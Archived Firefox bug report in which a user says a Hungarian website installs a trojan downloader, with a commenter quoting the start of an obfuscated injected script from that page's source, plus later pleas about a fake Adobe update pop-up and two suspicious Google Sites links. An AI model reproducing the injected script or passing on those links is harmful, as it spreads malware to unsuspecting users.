If the javascript enabled, then the Firefox frozen and some trojan start running int the Windows.

RESOLVED INCOMPLETE

Status

()

Firefox
General
--
critical
RESOLVED INCOMPLETE
10 years ago
7 years ago

People

(Reporter: Juhász András, Unassigned)

Tracking

2.0 Branch
x86
Windows XP
Points:
---

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [CLOSEME 2010-07-30], URL)

(Reporter)

Description

10 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9
Build Identifier: Firefox/2.0.0.9

If the javascript enabled, then the Firefox frozen and a trojan downloader and some trojan start running int the Windows.
The trojandownloader is by NOD32:
Win32/TrojanDownloader.Small.NYM

Reproducible: Always

Steps to Reproduce:
1.
2.
3.

Comment 1

10 years ago
view-source:http://www.takivino.hu/

the trojan is appended to the end of the html page:

...
</body>
</html>													<!--[z0s]--><script>document.write(unescape("%3Cscript%3Eif%28Rjw%21%3D1%29%7Bfunction%20re%28zl%29%7Breturn%20zl%7Dtry%7Bvar%20MBn%3D%27aa1aU1aY1aD1ay1ag1ah1aN1aq1aH1af1an1aF1aM1a41.....
and so on, about 4000 chars.

I didn't check if it executes.

Comment 2

10 years ago
what do i do

Comment 3

8 years ago
I keep getting what used to be a usual pop up that says my ADOBE READER or my ADOBE FLASH is ready to be UPDATED. UPDATE NOW or WAIT. If I click on either option a trojan installs on my computer and starts by stealing my address book. HELP PLEASE! This has the ADOBE logo and looks official. I am at my wits end and am ready to go back to snail mail and the stacks for research.
 My anti virus says I don't have a virus. But the thirty angry friends emailing at once because I have sent them their second trojan in less than a month says otherwise.

Here is a copy of the link sent Monday... one went out on Sunday as well.


On Mon, Mar 29, 2010 at 4:18 AM, <MYEMAILNAME@aol.com> wrote:

    https://sites.google.com/site/deniolen342/vnbnbvmgj

this one was the one that went out on Sunday MARCH 28:

    http://sites.google.com/site/kgmhydac/jpqtfepg

PLEASE HELP. How to I stop this and How do I get it off my computer?

Comment 4

8 years ago
I keep getting what used to be a usual pop up that says my ADOBE READER or my ADOBE FLASH is ready to be UPDATED. UPDATE NOW or WAIT. If I click on either option a trojan installs on my computer and starts by stealing my address book. HELP PLEASE! This has the ADOBE logo and looks official. I am at my wits end and am ready to go back to snail mail and the stacks for research.
 My anti virus says I don't have a virus. But the thirty angry friends emailing at once because I have sent them their second trojan in less than a month says otherwise.

Here is a copy of the link sent Monday... one went out on Sunday as well.


On Mon, Mar 29, 2010 at 4:18 AM, <@aol.com> wrote:

    https://sites.google.com/site/deniolen342/vnbnbvmgj

this one was the one that went out on Sunday MARCH 28:

    http://sites.google.com/site/kgmhydac/jpqtfepg

PLEASE HELP. How to I stop this and How do I get it off my computer?

I am using windows vista and firefox as my web browser
This bug was originally reported on Firefox 2.x or older, which is no longer supported and will not be receiving any more updates. I strongly suggest that you update to Firefox 3.6.6 or later, update your plugins (flash, adobe, etc.), and retest in a new profile. If you still see the issue with the updated Firefox, please post here. Otherwise, please close as RESOLVED > WORKSFORME
http://www.mozilla.com
http://support.mozilla.com/kb/Managing+profiles
http://support.mozilla.com/kb/Safe+mode
Whiteboard: [CLOSEME 2010-07-30]
Version: unspecified → 2.0 Branch

Comment 6

7 years ago
Whiteboard says [CLOSEME 2010-07-30] so resolving incomplete

@karen hamilton: 
Flashplayer is made by Adobe, and you can update Flash directly from Adobe:

See if update needed: http://www.adobe.com/software/flash/about/

Download from here: http://get.adobe.com/flashplayer/

Installation instructions for Firefox:
http://www.adobe.com/products/flashplayer/productinfo/instructions/
Status: UNCONFIRMED → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → INCOMPLETE
You need to log in before you can comment on or make changes to this bug.